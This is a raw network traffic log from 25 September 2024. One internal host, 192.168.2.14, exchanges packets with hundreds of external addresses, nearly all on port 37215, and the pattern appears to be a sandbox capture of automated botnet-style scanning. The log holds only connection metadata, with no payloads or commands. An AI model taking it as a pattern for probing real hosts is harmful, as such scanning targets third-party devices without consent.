Sep 25, 2024 14:14:12.396609068 CEST	37215	63353	197.114.14.241	192.168.2.14
Sep 25, 2024 14:14:12.396610022 CEST	63353	37215	192.168.2.14	156.82.42.132
Sep 25, 2024 14:14:12.396615028 CEST	37215	63353	41.54.25.25	192.168.2.14
Sep 25, 2024 14:14:12.396615982 CEST	63353	37215	192.168.2.14	156.99.206.95
Sep 25, 2024 14:14:12.396619081 CEST	37215	63353	41.103.94.201	192.168.2.14
Sep 25, 2024 14:14:12.396624088 CEST	37215	63353	156.51.141.84	192.168.2.14
Sep 25, 2024 14:14:12.396627903 CEST	37215	63353	156.18.240.244	192.168.2.14
Sep 25, 2024 14:14:12.396630049 CEST	63353	37215	192.168.2.14	156.110.247.67
Sep 25, 2024 14:14:12.396631956 CEST	63353	37215	192.168.2.14	197.7.147.160
Sep 25, 2024 14:14:12.396631956 CEST	63353	37215	192.168.2.14	41.130.38.5
Sep 25, 2024 14:14:12.396636009 CEST	63353	37215	192.168.2.14	156.0.143.246
Sep 25, 2024 14:14:12.396636963 CEST	37215	63353	41.74.240.15	192.168.2.14
Sep 25, 2024 14:14:12.396637917 CEST	63353	37215	192.168.2.14	197.114.14.241
Sep 25, 2024 14:14:12.396641970 CEST	37215	63353	156.143.127.119	192.168.2.14
Sep 25, 2024 14:14:12.396642923 CEST	63353	37215	192.168.2.14	41.103.94.201
Sep 25, 2024 14:14:12.396642923 CEST	63353	37215	192.168.2.14	41.54.25.25
Sep 25, 2024 14:14:12.396651030 CEST	37215	63353	197.84.184.165	192.168.2.14
Sep 25, 2024 14:14:12.396656990 CEST	37215	63353	156.148.25.150	192.168.2.14
Sep 25, 2024 14:14:12.396656990 CEST	63353	37215	192.168.2.14	156.18.240.244
Sep 25, 2024 14:14:12.396660089 CEST	63353	37215	192.168.2.14	156.51.141.84
Sep 25, 2024 14:14:12.396661043 CEST	37215	63353	197.130.16.93	192.168.2.14
Sep 25, 2024 14:14:12.396671057 CEST	63353	37215	192.168.2.14	41.74.240.15
Sep 25, 2024 14:14:12.396672010 CEST	37215	63353	197.250.226.124	192.168.2.14
Sep 25, 2024 14:14:12.396672964 CEST	63353	37215	192.168.2.14	156.143.127.119
Sep 25, 2024 14:14:12.396672964 CEST	63353	37215	192.168.2.14	197.84.184.165
Sep 25, 2024 14:14:12.396677017 CEST	37215	63353	156.200.223.158	192.168.2.14
Sep 25, 2024 14:14:12.396687031 CEST	37215	63353	41.190.68.128	192.168.2.14
Sep 25, 2024 14:14:12.396691084 CEST	37215	63353	41.66.235.42	192.168.2.14
Sep 25, 2024 14:14:12.396692991 CEST	63353	37215	192.168.2.14	156.148.25.150
Sep 25, 2024 14:14:12.396693945 CEST	63353	37215	192.168.2.14	197.130.16.93
Sep 25, 2024 14:14:12.396697044 CEST	52300	37215	192.168.2.14	197.215.137.238
Sep 25, 2024 14:14:12.396704912 CEST	63353	37215	192.168.2.14	197.250.226.124
Sep 25, 2024 14:14:12.396717072 CEST	63353	37215	192.168.2.14	156.200.223.158
Sep 25, 2024 14:14:12.396723986 CEST	63353	37215	192.168.2.14	41.190.68.128
Sep 25, 2024 14:14:12.396723986 CEST	63353	37215	192.168.2.14	41.66.235.42
Sep 25, 2024 14:14:12.396994114 CEST	37215	63353	156.160.231.207	192.168.2.14
Sep 25, 2024 14:14:12.396998882 CEST	37215	63353	197.180.165.66	192.168.2.14
Sep 25, 2024 14:14:12.397008896 CEST	37215	63353	41.208.194.210	192.168.2.14
Sep 25, 2024 14:14:12.397012949 CEST	37215	63353	156.236.39.216	192.168.2.14
Sep 25, 2024 14:14:12.397017002 CEST	37215	63353	41.111.25.241	192.168.2.14
Sep 25, 2024 14:14:12.397027016 CEST	37215	63353	197.185.73.32	192.168.2.14
Sep 25, 2024 14:14:12.397031069 CEST	37215	63353	197.83.116.205	192.168.2.14
Sep 25, 2024 14:14:12.397032022 CEST	63353	37215	192.168.2.14	197.180.165.66
Sep 25, 2024 14:14:12.397032976 CEST	63353	37215	192.168.2.14	156.160.231.207
Sep 25, 2024 14:14:12.397039890 CEST	34452	37215	192.168.2.14	41.218.248.203
Sep 25, 2024 14:14:12.397042990 CEST	63353	37215	192.168.2.14	156.236.39.216
Sep 25, 2024 14:14:12.397048950 CEST	34452	37215	192.168.2.14	41.218.248.203
Sep 25, 2024 14:14:12.397048950 CEST	37215	63353	41.213.211.215	192.168.2.14
Sep 25, 2024 14:14:12.397051096 CEST	63353	37215	192.168.2.14	197.185.73.32
Sep 25, 2024 14:14:12.397053003 CEST	63353	37215	192.168.2.14	41.111.25.241
Sep 25, 2024 14:14:12.397053003 CEST	63353	37215	192.168.2.14	197.83.116.205
Sep 25, 2024 14:14:12.397056103 CEST	37215	63353	41.110.174.0	192.168.2.14
Sep 25, 2024 14:14:12.397064924 CEST	37215	63353	156.20.27.236	192.168.2.14
Sep 25, 2024 14:14:12.397068977 CEST	37215	63353	156.156.168.176	192.168.2.14
Sep 25, 2024 14:14:12.397077084 CEST	37215	63353	41.103.23.172	192.168.2.14
Sep 25, 2024 14:14:12.397080898 CEST	37215	63353	197.5.120.56	192.168.2.14
Sep 25, 2024 14:14:12.397083044 CEST	63353	37215	192.168.2.14	41.110.174.0
Sep 25, 2024 14:14:12.397083998 CEST	63353	37215	192.168.2.14	41.208.194.210
Sep 25, 2024 14:14:12.397085905 CEST	37215	63353	41.74.12.95	192.168.2.14
Sep 25, 2024 14:14:12.397088051 CEST	63353	37215	192.168.2.14	41.213.211.215
Sep 25, 2024 14:14:12.397089958 CEST	37215	63353	197.116.92.189	192.168.2.14
Sep 25, 2024 14:14:12.397094011 CEST	63353	37215	192.168.2.14	156.20.27.236
Sep 25, 2024 14:14:12.397094011 CEST	37215	63353	156.253.153.107	192.168.2.14
Sep 25, 2024 14:14:12.397099018 CEST	37215	63353	156.170.216.141	192.168.2.14
Sep 25, 2024 14:14:12.397100925 CEST	63353	37215	192.168.2.14	156.156.168.176
Sep 25, 2024 14:14:12.397102118 CEST	63353	37215	192.168.2.14	41.103.23.172
Sep 25, 2024 14:14:12.397103071 CEST	37215	63353	156.2.194.144	192.168.2.14
Sep 25, 2024 14:14:12.397106886 CEST	37215	63353	156.232.92.129	192.168.2.14
Sep 25, 2024 14:14:12.397109985 CEST	63353	37215	192.168.2.14	197.5.120.56
Sep 25, 2024 14:14:12.397110939 CEST	37215	63353	197.84.27.92	192.168.2.14
Sep 25, 2024 14:14:12.397111893 CEST	63353	37215	192.168.2.14	41.74.12.95
Sep 25, 2024 14:14:12.397115946 CEST	37215	63353	197.3.188.239	192.168.2.14
Sep 25, 2024 14:14:12.397130013 CEST	63353	37215	192.168.2.14	156.2.194.144
Sep 25, 2024 14:14:12.397130013 CEST	37215	63353	156.196.245.191	192.168.2.14
Sep 25, 2024 14:14:12.397130966 CEST	63353	37215	192.168.2.14	156.232.92.129
Sep 25, 2024 14:14:12.397134066 CEST	63353	37215	192.168.2.14	156.253.153.107
Sep 25, 2024 14:14:12.397135019 CEST	37215	63353	156.226.36.166	192.168.2.14
Sep 25, 2024 14:14:12.397134066 CEST	63353	37215	192.168.2.14	156.170.216.141
Sep 25, 2024 14:14:12.397134066 CEST	63353	37215	192.168.2.14	197.116.92.189
Sep 25, 2024 14:14:12.397142887 CEST	63353	37215	192.168.2.14	197.3.188.239
Sep 25, 2024 14:14:12.397144079 CEST	37215	63353	41.80.186.113	192.168.2.14
Sep 25, 2024 14:14:12.397149086 CEST	37215	63353	41.244.199.237	192.168.2.14
Sep 25, 2024 14:14:12.397150993 CEST	63353	37215	192.168.2.14	197.84.27.92
Sep 25, 2024 14:14:12.397156954 CEST	63353	37215	192.168.2.14	156.196.245.191
Sep 25, 2024 14:14:12.397160053 CEST	37215	63353	156.38.90.226	192.168.2.14
Sep 25, 2024 14:14:12.397164106 CEST	37215	63353	197.163.71.225	192.168.2.14
Sep 25, 2024 14:14:12.397166014 CEST	63353	37215	192.168.2.14	156.226.36.166
Sep 25, 2024 14:14:12.397169113 CEST	37215	63353	197.20.62.50	192.168.2.14
Sep 25, 2024 14:14:12.397177935 CEST	63353	37215	192.168.2.14	41.244.199.237
Sep 25, 2024 14:14:12.397183895 CEST	63353	37215	192.168.2.14	41.80.186.113
Sep 25, 2024 14:14:12.397183895 CEST	63353	37215	192.168.2.14	156.38.90.226
Sep 25, 2024 14:14:12.397196054 CEST	63353	37215	192.168.2.14	197.20.62.50
Sep 25, 2024 14:14:12.397196054 CEST	63353	37215	192.168.2.14	197.163.71.225
Sep 25, 2024 14:14:12.397289038 CEST	37215	63353	156.19.3.212	192.168.2.14
Sep 25, 2024 14:14:12.397294044 CEST	37215	63353	41.97.4.164	192.168.2.14
Sep 25, 2024 14:14:12.397305012 CEST	37215	63353	156.231.149.40	192.168.2.14
Sep 25, 2024 14:14:12.397309065 CEST	37215	63353	41.11.124.193	192.168.2.14
Sep 25, 2024 14:14:12.397311926 CEST	34708	37215	192.168.2.14	41.218.248.203
Sep 25, 2024 14:14:12.397316933 CEST	37215	37404	156.105.111.2	192.168.2.14
Sep 25, 2024 14:14:12.397330046 CEST	37215	63353	197.224.236.24	192.168.2.14
Sep 25, 2024 14:14:12.397330999 CEST	63353	37215	192.168.2.14	156.231.149.40
Sep 25, 2024 14:14:12.397334099 CEST	37215	63353	197.143.105.72	192.168.2.14
Sep 25, 2024 14:14:12.397337914 CEST	63353	37215	192.168.2.14	41.97.4.164
Sep 25, 2024 14:14:12.397339106 CEST	63353	37215	192.168.2.14	41.11.124.193
Sep 25, 2024 14:14:12.397340059 CEST	37215	63353	41.104.139.198	192.168.2.14
Sep 25, 2024 14:14:12.397337914 CEST	63353	37215	192.168.2.14	156.19.3.212
Sep 25, 2024 14:14:12.397345066 CEST	37215	37660	156.105.111.2	192.168.2.14
Sep 25, 2024 14:14:12.397355080 CEST	37215	36572	156.7.180.15	192.168.2.14
Sep 25, 2024 14:14:12.397361040 CEST	63353	37215	192.168.2.14	197.224.236.24
Sep 25, 2024 14:14:12.397363901 CEST	63353	37215	192.168.2.14	197.143.105.72
Sep 25, 2024 14:14:12.397387028 CEST	37660	37215	192.168.2.14	156.105.111.2
Sep 25, 2024 14:14:12.397388935 CEST	63353	37215	192.168.2.14	41.104.139.198
Sep 25, 2024 14:14:12.397552013 CEST	37215	36828	156.7.180.15	192.168.2.14
Sep 25, 2024 14:14:12.397605896 CEST	36828	37215	192.168.2.14	156.7.180.15
Sep 25, 2024 14:14:12.397624969 CEST	38496	37215	192.168.2.14	41.98.227.98
Sep 25, 2024 14:14:12.397624969 CEST	38496	37215	192.168.2.14	41.98.227.98
Sep 25, 2024 14:14:12.397859097 CEST	38752	37215	192.168.2.14	41.98.227.98
Sep 25, 2024 14:14:12.398145914 CEST	38742	37215	192.168.2.14	156.91.174.178
Sep 25, 2024 14:14:12.398145914 CEST	38742	37215	192.168.2.14	156.91.174.178
Sep 25, 2024 14:14:12.398396015 CEST	38998	37215	192.168.2.14	156.91.174.178
Sep 25, 2024 14:14:12.398698092 CEST	54444	37215	192.168.2.14	156.190.198.120
Sep 25, 2024 14:14:12.398698092 CEST	54444	37215	192.168.2.14	156.190.198.120
Sep 25, 2024 14:14:12.399029016 CEST	54700	37215	192.168.2.14	156.190.198.120
Sep 25, 2024 14:14:12.399375916 CEST	37118	37215	192.168.2.14	41.155.56.243
Sep 25, 2024 14:14:12.399395943 CEST	37118	37215	192.168.2.14	41.155.56.243
Sep 25, 2024 14:14:12.399415016 CEST	37215	60278	197.105.105.62	192.168.2.14
Sep 25, 2024 14:14:12.399723053 CEST	37374	37215	192.168.2.14	41.155.56.243
Sep 25, 2024 14:14:12.400008917 CEST	52200	37215	192.168.2.14	197.128.136.140
Sep 25, 2024 14:14:12.400008917 CEST	52200	37215	192.168.2.14	197.128.136.140
Sep 25, 2024 14:14:12.400238037 CEST	37215	60534	197.105.105.62	192.168.2.14
Sep 25, 2024 14:14:12.400243998 CEST	37215	57964	197.195.215.228	192.168.2.14
Sep 25, 2024 14:14:12.400258064 CEST	52456	37215	192.168.2.14	197.128.136.140
Sep 25, 2024 14:14:12.400279999 CEST	60534	37215	192.168.2.14	197.105.105.62
Sep 25, 2024 14:14:12.400451899 CEST	37215	58220	197.195.215.228	192.168.2.14
Sep 25, 2024 14:14:12.400515079 CEST	58220	37215	192.168.2.14	197.195.215.228
Sep 25, 2024 14:14:12.400573969 CEST	37215	40650	156.32.42.163	192.168.2.14
Sep 25, 2024 14:14:12.400635958 CEST	41360	37215	192.168.2.14	41.240.99.197
Sep 25, 2024 14:14:12.400645971 CEST	41360	37215	192.168.2.14	41.240.99.197
Sep 25, 2024 14:14:12.400924921 CEST	41616	37215	192.168.2.14	41.240.99.197
Sep 25, 2024 14:14:12.401243925 CEST	39770	37215	192.168.2.14	197.144.251.169
Sep 25, 2024 14:14:12.401254892 CEST	39770	37215	192.168.2.14	197.144.251.169
Sep 25, 2024 14:14:12.401546001 CEST	40026	37215	192.168.2.14	197.144.251.169
Sep 25, 2024 14:14:12.401705027 CEST	37215	40906	156.32.42.163	192.168.2.14
Sep 25, 2024 14:14:12.401710987 CEST	37215	37710	197.231.213.174	192.168.2.14
Sep 25, 2024 14:14:12.401721001 CEST	37215	37966	197.231.213.174	192.168.2.14
Sep 25, 2024 14:14:12.401762009 CEST	40906	37215	192.168.2.14	156.32.42.163
Sep 25, 2024 14:14:12.401770115 CEST	37966	37215	192.168.2.14	197.231.213.174
Sep 25, 2024 14:14:12.401870012 CEST	33646	37215	192.168.2.14	156.55.88.200
Sep 25, 2024 14:14:12.401890039 CEST	33646	37215	192.168.2.14	156.55.88.200
Sep 25, 2024 14:14:12.402153969 CEST	33902	37215	192.168.2.14	156.55.88.200
Sep 25, 2024 14:14:12.402482033 CEST	35064	37215	192.168.2.14	41.50.90.84
Sep 25, 2024 14:14:12.402537107 CEST	35064	37215	192.168.2.14	41.50.90.84
Sep 25, 2024 14:14:12.402689934 CEST	37215	50604	41.144.112.76	192.168.2.14
Sep 25, 2024 14:14:12.402847052 CEST	35320	37215	192.168.2.14	41.50.90.84
Sep 25, 2024 14:14:12.402983904 CEST	37215	50860	41.144.112.76	192.168.2.14
Sep 25, 2024 14:14:12.403016090 CEST	50860	37215	192.168.2.14	41.144.112.76
Sep 25, 2024 14:14:12.403369904 CEST	48018	37215	192.168.2.14	197.237.148.180
Sep 25, 2024 14:14:12.403369904 CEST	48018	37215	192.168.2.14	197.237.148.180
Sep 25, 2024 14:14:12.403556108 CEST	37215	52044	197.215.137.238	192.168.2.14
Sep 25, 2024 14:14:12.403562069 CEST	37215	52300	197.215.137.238	192.168.2.14
Sep 25, 2024 14:14:12.403582096 CEST	37215	34452	41.218.248.203	192.168.2.14
Sep 25, 2024 14:14:12.403604031 CEST	52300	37215	192.168.2.14	197.215.137.238
Sep 25, 2024 14:14:12.403733969 CEST	48274	37215	192.168.2.14	197.237.148.180
Sep 25, 2024 14:14:12.404212952 CEST	54784	37215	192.168.2.14	41.193.139.67
Sep 25, 2024 14:14:12.404231071 CEST	54784	37215	192.168.2.14	41.193.139.67
Sep 25, 2024 14:14:12.404243946 CEST	37215	34708	41.218.248.203	192.168.2.14
Sep 25, 2024 14:14:12.404278040 CEST	34708	37215	192.168.2.14	41.218.248.203
Sep 25, 2024 14:14:12.404567957 CEST	55040	37215	192.168.2.14	41.193.139.67
Sep 25, 2024 14:14:12.404985905 CEST	37215	38496	41.98.227.98	192.168.2.14
Sep 25, 2024 14:14:12.404990911 CEST	37215	38752	41.98.227.98	192.168.2.14
Sep 25, 2024 14:14:12.405016899 CEST	38752	37215	192.168.2.14	41.98.227.98
Sep 25, 2024 14:14:12.405038118 CEST	41924	37215	192.168.2.14	197.202.40.81
Sep 25, 2024 14:14:12.405056000 CEST	41924	37215	192.168.2.14	197.202.40.81
Sep 25, 2024 14:14:12.405318975 CEST	37215	38742	156.91.174.178	192.168.2.14
Sep 25, 2024 14:14:12.405323982 CEST	37215	38998	156.91.174.178	192.168.2.14
Sep 25, 2024 14:14:12.405328035 CEST	37215	54444	156.190.198.120	192.168.2.14
Sep 25, 2024 14:14:12.405333042 CEST	37215	54700	156.190.198.120	192.168.2.14
Sep 25, 2024 14:14:12.405354977 CEST	38998	37215	192.168.2.14	156.91.174.178
Sep 25, 2024 14:14:12.405378103 CEST	54700	37215	192.168.2.14	156.190.198.120
Sep 25, 2024 14:14:12.405459881 CEST	42180	37215	192.168.2.14	197.202.40.81
Sep 25, 2024 14:14:12.405911922 CEST	53274	37215	192.168.2.14	197.69.151.113
Sep 25, 2024 14:14:12.405911922 CEST	53274	37215	192.168.2.14	197.69.151.113
Sep 25, 2024 14:14:12.405952930 CEST	37215	37118	41.155.56.243	192.168.2.14
Sep 25, 2024 14:14:12.405957937 CEST	37215	37374	41.155.56.243	192.168.2.14
Sep 25, 2024 14:14:12.405999899 CEST	37374	37215	192.168.2.14	41.155.56.243
Sep 25, 2024 14:14:12.406286001 CEST	53530	37215	192.168.2.14	197.69.151.113
Sep 25, 2024 14:14:12.406567097 CEST	37215	52200	197.128.136.140	192.168.2.14
Sep 25, 2024 14:14:12.406573057 CEST	37215	52456	197.128.136.140	192.168.2.14
Sep 25, 2024 14:14:12.406599998 CEST	52456	37215	192.168.2.14	197.128.136.140
Sep 25, 2024 14:14:12.406768084 CEST	43298	37215	192.168.2.14	41.225.68.243
Sep 25, 2024 14:14:12.406768084 CEST	43298	37215	192.168.2.14	41.225.68.243
Sep 25, 2024 14:14:12.407169104 CEST	43554	37215	192.168.2.14	41.225.68.243
Sep 25, 2024 14:14:12.407649994 CEST	54406	37215	192.168.2.14	41.17.5.69
Sep 25, 2024 14:14:12.407649994 CEST	54406	37215	192.168.2.14	41.17.5.69
Sep 25, 2024 14:14:12.407783985 CEST	37215	41360	41.240.99.197	192.168.2.14
Sep 25, 2024 14:14:12.407809019 CEST	37215	41616	41.240.99.197	192.168.2.14
Sep 25, 2024 14:14:12.407845020 CEST	41616	37215	192.168.2.14	41.240.99.197
Sep 25, 2024 14:14:12.407855988 CEST	37215	39770	197.144.251.169	192.168.2.14
Sep 25, 2024 14:14:12.407860994 CEST	37215	40026	197.144.251.169	192.168.2.14
Sep 25, 2024 14:14:12.407988071 CEST	40026	37215	192.168.2.14	197.144.251.169
Sep 25, 2024 14:14:12.408071995 CEST	54662	37215	192.168.2.14	41.17.5.69
Sep 25, 2024 14:14:12.408415079 CEST	37215	33646	156.55.88.200	192.168.2.14
Sep 25, 2024 14:14:12.408569098 CEST	58872	37215	192.168.2.14	156.123.186.109
Sep 25, 2024 14:14:12.408569098 CEST	58872	37215	192.168.2.14	156.123.186.109
Sep 25, 2024 14:14:12.408900976 CEST	59128	37215	192.168.2.14	156.123.186.109
Sep 25, 2024 14:14:12.409111977 CEST	37215	33902	156.55.88.200	192.168.2.14
Sep 25, 2024 14:14:12.409117937 CEST	37215	35064	41.50.90.84	192.168.2.14
Sep 25, 2024 14:14:12.409121990 CEST	37215	35320	41.50.90.84	192.168.2.14
Sep 25, 2024 14:14:12.409145117 CEST	33902	37215	192.168.2.14	156.55.88.200
Sep 25, 2024 14:14:12.409152985 CEST	35320	37215	192.168.2.14	41.50.90.84
Sep 25, 2024 14:14:12.409409046 CEST	40574	37215	192.168.2.14	197.27.71.218
Sep 25, 2024 14:14:12.409409046 CEST	40574	37215	192.168.2.14	197.27.71.218
Sep 25, 2024 14:14:12.409734964 CEST	40830	37215	192.168.2.14	197.27.71.218
Sep 25, 2024 14:14:12.410171032 CEST	37215	48018	197.237.148.180	192.168.2.14
Sep 25, 2024 14:14:12.410176992 CEST	37215	48274	197.237.148.180	192.168.2.14
Sep 25, 2024 14:14:12.410221100 CEST	48274	37215	192.168.2.14	197.237.148.180
Sep 25, 2024 14:14:12.410423040 CEST	47486	37215	192.168.2.14	41.222.122.162
Sep 25, 2024 14:14:12.410423040 CEST	47486	37215	192.168.2.14	41.222.122.162
Sep 25, 2024 14:14:12.410897970 CEST	47742	37215	192.168.2.14	41.222.122.162
Sep 25, 2024 14:14:12.411458969 CEST	38754	37215	192.168.2.14	197.233.180.85
Sep 25, 2024 14:14:12.411458969 CEST	38754	37215	192.168.2.14	197.233.180.85
Sep 25, 2024 14:14:12.411786079 CEST	39010	37215	192.168.2.14	197.233.180.85
Sep 25, 2024 14:14:12.411823034 CEST	37215	54784	41.193.139.67	192.168.2.14
Sep 25, 2024 14:14:12.411828041 CEST	37215	55040	41.193.139.67	192.168.2.14
Sep 25, 2024 14:14:12.411856890 CEST	55040	37215	192.168.2.14	41.193.139.67
Sep 25, 2024 14:14:12.411895990 CEST	37215	41924	197.202.40.81	192.168.2.14
Sep 25, 2024 14:14:12.412241936 CEST	60004	37215	192.168.2.14	156.167.26.116
Sep 25, 2024 14:14:12.412242889 CEST	60004	37215	192.168.2.14	156.167.26.116
Sep 25, 2024 14:14:12.412245989 CEST	37215	42180	197.202.40.81	192.168.2.14
Sep 25, 2024 14:14:12.412251949 CEST	37215	53274	197.69.151.113	192.168.2.14
Sep 25, 2024 14:14:12.412261009 CEST	37215	53530	197.69.151.113	192.168.2.14
Sep 25, 2024 14:14:12.412287951 CEST	42180	37215	192.168.2.14	197.202.40.81
Sep 25, 2024 14:14:12.412314892 CEST	53530	37215	192.168.2.14	197.69.151.113
Sep 25, 2024 14:14:12.412373066 CEST	37215	43298	41.225.68.243	192.168.2.14
Sep 25, 2024 14:14:12.412379026 CEST	37215	43554	41.225.68.243	192.168.2.14
Sep 25, 2024 14:14:12.412409067 CEST	43554	37215	192.168.2.14	41.225.68.243
Sep 25, 2024 14:14:12.412434101 CEST	37215	54406	41.17.5.69	192.168.2.14
Sep 25, 2024 14:14:12.412806034 CEST	37215	54662	41.17.5.69	192.168.2.14
Sep 25, 2024 14:14:12.412821054 CEST	60260	37215	192.168.2.14	156.167.26.116
Sep 25, 2024 14:14:12.412847996 CEST	54662	37215	192.168.2.14	41.17.5.69
Sep 25, 2024 14:14:12.413139105 CEST	51548	37215	192.168.2.14	156.77.18.48
Sep 25, 2024 14:14:12.413139105 CEST	51548	37215	192.168.2.14	156.77.18.48
Sep 25, 2024 14:14:12.413403988 CEST	37215	58872	156.123.186.109	192.168.2.14
Sep 25, 2024 14:14:12.413429976 CEST	51804	37215	192.168.2.14	156.77.18.48
Sep 25, 2024 14:14:12.413660049 CEST	37215	59128	156.123.186.109	192.168.2.14
Sep 25, 2024 14:14:12.413707972 CEST	59128	37215	192.168.2.14	156.123.186.109
Sep 25, 2024 14:14:12.414037943 CEST	47674	37215	192.168.2.14	197.160.218.177
Sep 25, 2024 14:14:12.414037943 CEST	47674	37215	192.168.2.14	197.160.218.177
Sep 25, 2024 14:14:12.414150000 CEST	37215	40574	197.27.71.218	192.168.2.14
Sep 25, 2024 14:14:12.414381027 CEST	47930	37215	192.168.2.14	197.160.218.177
Sep 25, 2024 14:14:12.414514065 CEST	37215	40830	197.27.71.218	192.168.2.14
Sep 25, 2024 14:14:12.414556026 CEST	40830	37215	192.168.2.14	197.27.71.218
Sep 25, 2024 14:14:12.414762974 CEST	54506	37215	192.168.2.14	197.19.140.61
Sep 25, 2024 14:14:12.414776087 CEST	54506	37215	192.168.2.14	197.19.140.61
Sep 25, 2024 14:14:12.415000916 CEST	54762	37215	192.168.2.14	197.19.140.61
Sep 25, 2024 14:14:12.415267944 CEST	37215	47486	41.222.122.162	192.168.2.14
Sep 25, 2024 14:14:12.415302038 CEST	50600	37215	192.168.2.14	156.81.106.200
Sep 25, 2024 14:14:12.415302038 CEST	50600	37215	192.168.2.14	156.81.106.200
Sep 25, 2024 14:14:12.415632010 CEST	50856	37215	192.168.2.14	156.81.106.200
Sep 25, 2024 14:14:12.415992022 CEST	37215	47742	41.222.122.162	192.168.2.14
Sep 25, 2024 14:14:12.416030884 CEST	40414	37215	192.168.2.14	41.206.233.3
Sep 25, 2024 14:14:12.416044950 CEST	40414	37215	192.168.2.14	41.206.233.3
Sep 25, 2024 14:14:12.416044950 CEST	47742	37215	192.168.2.14	41.222.122.162
Sep 25, 2024 14:14:12.416435957 CEST	40670	37215	192.168.2.14	41.206.233.3
Sep 25, 2024 14:14:12.416846037 CEST	53772	37215	192.168.2.14	197.58.23.178
Sep 25, 2024 14:14:12.416846037 CEST	53772	37215	192.168.2.14	197.58.23.178
Sep 25, 2024 14:14:12.417289972 CEST	54028	37215	192.168.2.14	197.58.23.178
Sep 25, 2024 14:14:12.417695045 CEST	35768	37215	192.168.2.14	41.127.125.4
Sep 25, 2024 14:14:12.417695045 CEST	35768	37215	192.168.2.14	41.127.125.4
Sep 25, 2024 14:14:12.417860031 CEST	37215	38754	197.233.180.85	192.168.2.14
Sep 25, 2024 14:14:12.417865992 CEST	37215	39010	197.233.180.85	192.168.2.14
Sep 25, 2024 14:14:12.417910099 CEST	39010	37215	192.168.2.14	197.233.180.85
Sep 25, 2024 14:14:12.418055058 CEST	36024	37215	192.168.2.14	41.127.125.4
Sep 25, 2024 14:14:12.418494940 CEST	50304	37215	192.168.2.14	41.118.111.214
Sep 25, 2024 14:14:12.418495893 CEST	50304	37215	192.168.2.14	41.118.111.214
Sep 25, 2024 14:14:12.418968916 CEST	50560	37215	192.168.2.14	41.118.111.214
Sep 25, 2024 14:14:12.418996096 CEST	37215	60004	156.167.26.116	192.168.2.14
Sep 25, 2024 14:14:12.419029951 CEST	37215	60260	156.167.26.116	192.168.2.14
Sep 25, 2024 14:14:12.419064999 CEST	60260	37215	192.168.2.14	156.167.26.116
Sep 25, 2024 14:14:12.419370890 CEST	41954	37215	192.168.2.14	41.108.0.157
Sep 25, 2024 14:14:12.419370890 CEST	41954	37215	192.168.2.14	41.108.0.157
Sep 25, 2024 14:14:12.419533014 CEST	37215	51548	156.77.18.48	192.168.2.14
Sep 25, 2024 14:14:12.419686079 CEST	42210	37215	192.168.2.14	41.108.0.157
Sep 25, 2024 14:14:12.420069933 CEST	37215	51804	156.77.18.48	192.168.2.14
Sep 25, 2024 14:14:12.420114040 CEST	51804	37215	192.168.2.14	156.77.18.48
Sep 25, 2024 14:14:12.420357943 CEST	42656	37215	192.168.2.14	41.153.113.249
Sep 25, 2024 14:14:12.420357943 CEST	42656	37215	192.168.2.14	41.153.113.249
Sep 25, 2024 14:14:12.420703888 CEST	37215	47674	197.160.218.177	192.168.2.14
Sep 25, 2024 14:14:12.421072960 CEST	42912	37215	192.168.2.14	41.153.113.249
Sep 25, 2024 14:14:12.421278000 CEST	37215	47930	197.160.218.177	192.168.2.14
Sep 25, 2024 14:14:12.421283960 CEST	37215	54506	197.19.140.61	192.168.2.14
Sep 25, 2024 14:14:12.421293974 CEST	37215	54762	197.19.140.61	192.168.2.14
Sep 25, 2024 14:14:12.421314955 CEST	47930	37215	192.168.2.14	197.160.218.177
Sep 25, 2024 14:14:12.421330929 CEST	54762	37215	192.168.2.14	197.19.140.61
Sep 25, 2024 14:14:12.421602011 CEST	39006	37215	192.168.2.14	41.0.9.95
Sep 25, 2024 14:14:12.421602011 CEST	39006	37215	192.168.2.14	41.0.9.95
Sep 25, 2024 14:14:12.421945095 CEST	37215	50600	156.81.106.200	192.168.2.14
Sep 25, 2024 14:14:12.421950102 CEST	37215	50856	156.81.106.200	192.168.2.14
Sep 25, 2024 14:14:12.421983004 CEST	39262	37215	192.168.2.14	41.0.9.95
Sep 25, 2024 14:14:12.421983004 CEST	50856	37215	192.168.2.14	156.81.106.200
Sep 25, 2024 14:14:12.422413111 CEST	37215	40414	41.206.233.3	192.168.2.14
Sep 25, 2024 14:14:12.422719955 CEST	42852	37215	192.168.2.14	156.53.157.21
Sep 25, 2024 14:14:12.422719955 CEST	42852	37215	192.168.2.14	156.53.157.21
Sep 25, 2024 14:14:12.423057079 CEST	37215	40670	41.206.233.3	192.168.2.14
Sep 25, 2024 14:14:12.423062086 CEST	37215	53772	197.58.23.178	192.168.2.14
Sep 25, 2024 14:14:12.423125982 CEST	40670	37215	192.168.2.14	41.206.233.3
Sep 25, 2024 14:14:12.423403978 CEST	43108	37215	192.168.2.14	156.53.157.21
Sep 25, 2024 14:14:12.424205065 CEST	48292	37215	192.168.2.14	41.172.110.5
Sep 25, 2024 14:14:12.424206018 CEST	48292	37215	192.168.2.14	41.172.110.5
Sep 25, 2024 14:14:12.424369097 CEST	37215	54028	197.58.23.178	192.168.2.14
Sep 25, 2024 14:14:12.424374104 CEST	37215	35768	41.127.125.4	192.168.2.14
Sep 25, 2024 14:14:12.424382925 CEST	37215	36024	41.127.125.4	192.168.2.14
Sep 25, 2024 14:14:12.424416065 CEST	36024	37215	192.168.2.14	41.127.125.4
Sep 25, 2024 14:14:12.424438000 CEST	54028	37215	192.168.2.14	197.58.23.178
Sep 25, 2024 14:14:12.424731970 CEST	48548	37215	192.168.2.14	41.172.110.5
Sep 25, 2024 14:14:12.424881935 CEST	37215	50304	41.118.111.214	192.168.2.14
Sep 25, 2024 14:14:12.425643921 CEST	49006	37215	192.168.2.14	41.164.245.164
Sep 25, 2024 14:14:12.425643921 CEST	49006	37215	192.168.2.14	41.164.245.164
Sep 25, 2024 14:14:12.425682068 CEST	37215	50560	41.118.111.214	192.168.2.14
Sep 25, 2024 14:14:12.425688028 CEST	37215	41954	41.108.0.157	192.168.2.14
Sep 25, 2024 14:14:12.425735950 CEST	50560	37215	192.168.2.14	41.118.111.214
Sep 25, 2024 14:14:12.426034927 CEST	37215	42210	41.108.0.157	192.168.2.14
Sep 25, 2024 14:14:12.426076889 CEST	42210	37215	192.168.2.14	41.108.0.157
Sep 25, 2024 14:14:12.426348925 CEST	49262	37215	192.168.2.14	41.164.245.164
Sep 25, 2024 14:14:12.427146912 CEST	49438	37215	192.168.2.14	156.178.49.196
Sep 25, 2024 14:14:12.427170992 CEST	49438	37215	192.168.2.14	156.178.49.196
